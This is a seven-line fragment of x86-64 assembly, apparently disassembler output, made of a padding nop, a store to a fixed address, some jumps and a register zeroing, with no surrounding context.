nop dword [rax + rax]
mov dword [0x14052f500], ebx
jmp 0x140003e6a
mov eax, 0x9bd9a9b4
jmp 0x140004020
xor eax, eax
jmp 0x140003e6f